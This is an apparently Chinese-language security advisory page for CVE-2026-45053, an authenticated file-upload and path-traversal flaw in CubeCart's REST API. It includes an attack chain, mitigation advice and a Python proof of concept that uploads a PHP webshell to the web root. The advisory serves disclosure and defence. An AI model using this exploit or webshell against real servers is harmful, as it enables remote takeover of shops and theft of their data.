IPBUF安全漏洞报告
English
CVE-2026-45053 CVSS 9.1 严重

CVE-2026-45053 CubeCart 认证任意文件上传致RCE漏洞

披露日期: 2026-05-13

漏洞信息

漏洞编号
CVE-2026-45053
漏洞类型
远程代码执行 (RCE) / 任意文件上传
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
CubeCart

相关标签

RCE文件上传路径遍历CubeCartCVE-2026-45053Web安全

漏洞概述

CubeCart是一个电子商务软件解决方案。在6.7.0版本之前,REST API文件管理器端点存在严重的认证任意文件上传漏洞。拥有files:rw权限的API用户可上传PHP文件。结合路径遍历缺陷,攻击者可将webshell写入文档根目录,导致严重的远程代码执行风险,完全控制服务器。

技术细节

该漏洞核心在于CubeCart REST API文件管理器端点(POST /api/v1/files)的安全缺陷。尽管需要高权限API密钥(files:rw),但攻击者利用该端点上传PHP源文件时,未受到充分的文件类型和路径限制。关键在于`filepath`参数存在路径遍历漏洞,允许攻击者突破默认的images/source/目录限制。攻击者通过构造特制的POST请求,将包含恶意代码的PHP文件上传至Web根目录。随后,攻击者只需通过浏览器访问该文件,Web服务器便会解析并执行其中的PHP代码,从而实现远程代码执行(RCE),获取服务器最高权限。

攻击链分析

STEP 1
获取凭证
攻击者获取具有files:rw权限的高权限API密钥。
STEP 2
构造恶意请求
利用POST /api/v1/files接口,在请求中包含PHP恶意代码,并在filepath参数中使用路径遍历符(../)。
STEP 3
上传Webshell
将包含后门的PHP文件上传至服务器的Web根目录。
STEP 4
执行代码
通过浏览器访问上传的PHP文件,触发代码执行,获取服务器控制权。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_url = "http://example.com/api/v1/files" api_key = "VALID_API_KEY_WITH_RW_PERMISSION" # Replace with actual key # Headers including Authorization headers = { "Authorization": f"Bearer {api_key}" } # PHP Webshell payload php_code = "<?php system($_GET['cmd']); ?>" # Exploit the path traversal in 'filepath' to upload to root files = { 'file': ('shell.php', php_code, 'application/x-php') } data = { 'filepath': '../../' # Traversal to document root } # Send the malicious request response = requests.post(target_url, headers=headers, files=files, data=data) if response.status_code == 200: print("[+] Exploit successful!") print(f"[+] Webshell uploaded at: http://example.com/shell.php?cmd=whoami") else: print("[-] Exploit failed.")

影响范围

CubeCart < 6.7.0

防御指南

临时缓解措施
若无法立即升级,请禁用REST API功能或撤销所有具有files:rw权限的API密钥。同时,配置Web服务器(如Nginx或Apache),禁止在/images/source/及用户可上传目录中解析PHP文件,以阻断攻击链。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表